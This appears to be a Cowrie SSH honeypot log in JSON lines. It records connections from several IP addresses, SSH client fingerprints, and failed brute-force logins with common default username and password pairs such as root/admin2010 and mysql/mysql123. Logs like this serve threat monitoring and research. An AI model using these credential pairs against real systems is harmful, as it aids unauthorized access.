{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":38470,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c0d53b39d1a","protocol":"ssh","message":"New connection: 152.32.171.99:38470 (159.203.135.109:22) [session: 7c0d53b39d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:06.580725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:06.585530Z","src_ip":"152.32.171.99","session":"7c0d53b39d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:06.805689Z","src_ip":"152.32.171.99","session":"7c0d53b39d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^123","message":"login attempt [root/!@#$%^123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:06.881854Z","src_ip":"103.118.29.129","session":"bb3c9883e0dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2010","message":"login attempt [root/admin2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:07.722993Z","src_ip":"152.32.171.99","session":"7c0d53b39d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:08.126501Z","src_ip":"103.118.29.129","session":"bb3c9883e0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:08.942642Z","src_ip":"152.32.171.99","session":"7c0d53b39d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33958,"dst_ip":"159.203.135.109","dst_port":22,"session":"7869b083165a","protocol":"ssh","message":"New connection: 83.168.110.85:33958 (159.203.135.109:22) [session: 7869b083165a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:09.187382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:09.199673Z","src_ip":"83.168.110.85","session":"7869b083165a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:09.329137Z","src_ip":"83.168.110.85","session":"7869b083165a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:09.789474Z","src_ip":"83.168.110.85","session":"7869b083165a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:10.914953Z","src_ip":"83.168.110.85","session":"7869b083165a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49182,"dst_ip":"159.203.135.109","dst_port":22,"session":"87287a2dd94e","protocol":"ssh","message":"New connection: 83.168.110.85:49182 (159.203.135.109:22) [session: 87287a2dd94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:19.491040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:19.591312Z","src_ip":"83.168.110.85","session":"87287a2dd94e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:19.778396Z","src_ip":"83.168.110.85","session":"87287a2dd94e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:20.160793Z","src_ip":"83.168.110.85","session":"87287a2dd94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:21.284596Z","src_ip":"83.168.110.85","session":"87287a2dd94e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36512,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ee28d9ce1e3","protocol":"ssh","message":"New connection: 83.168.110.85:36512 (159.203.135.109:22) [session: 5ee28d9ce1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:30.102242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:30.124129Z","src_ip":"83.168.110.85","session":"5ee28d9ce1e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:30.475259Z","src_ip":"83.168.110.85","session":"5ee28d9ce1e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:30.858866Z","src_ip":"83.168.110.85","session":"5ee28d9ce1e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:31.982635Z","src_ip":"83.168.110.85","session":"5ee28d9ce1e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":35890,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a4f922828b6","protocol":"ssh","message":"New connection: 160.251.185.39:35890 (159.203.135.109:22) [session: 0a4f922828b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:32.010499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:32.015725Z","src_ip":"160.251.185.39","session":"0a4f922828b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:32.201107Z","src_ip":"160.251.185.39","session":"0a4f922828b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111","message":"login attempt [root/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:32.975507Z","src_ip":"160.251.185.39","session":"0a4f922828b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:34.163426Z","src_ip":"160.251.185.39","session":"0a4f922828b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55244,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba6418916776","protocol":"ssh","message":"New connection: 83.168.110.85:55244 (159.203.135.109:22) [session: ba6418916776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:40.772903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:40.925551Z","src_ip":"83.168.110.85","session":"ba6418916776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:40.929561Z","src_ip":"83.168.110.85","session":"ba6418916776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:41.451138Z","src_ip":"83.168.110.85","session":"ba6418916776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:42.575781Z","src_ip":"83.168.110.85","session":"ba6418916776","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46554,"dst_ip":"159.203.135.109","dst_port":22,"session":"60fda29c6cb5","protocol":"ssh","message":"New connection: 83.168.110.85:46554 (159.203.135.109:22) [session: 60fda29c6cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:51.351425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:51.356420Z","src_ip":"83.168.110.85","session":"60fda29c6cb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:51.483522Z","src_ip":"83.168.110.85","session":"60fda29c6cb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:52.051936Z","src_ip":"83.168.110.85","session":"60fda29c6cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:53.176189Z","src_ip":"83.168.110.85","session":"60fda29c6cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":32904,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4013c5bb615","protocol":"ssh","message":"New connection: 83.168.110.85:32904 (159.203.135.109:22) [session: f4013c5bb615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:02.027907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:02.038462Z","src_ip":"83.168.110.85","session":"f4013c5bb615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:02.425801Z","src_ip":"83.168.110.85","session":"f4013c5bb615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:02.941437Z","src_ip":"83.168.110.85","session":"f4013c5bb615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:04.067774Z","src_ip":"83.168.110.85","session":"f4013c5bb615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":47338,"dst_ip":"10.17.0.5","dst_port":22,"session":"137db00b31b9","protocol":"ssh","message":"New connection: 103.77.242.62:47338 (10.17.0.5:22) [session: 137db00b31b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:12.591549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:12.596894Z","src_ip":"103.77.242.62","session":"137db00b31b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37484,"dst_ip":"159.203.135.109","dst_port":22,"session":"14053e2f04ff","protocol":"ssh","message":"New connection: 83.168.110.85:37484 (159.203.135.109:22) [session: 14053e2f04ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:12.668891Z"}
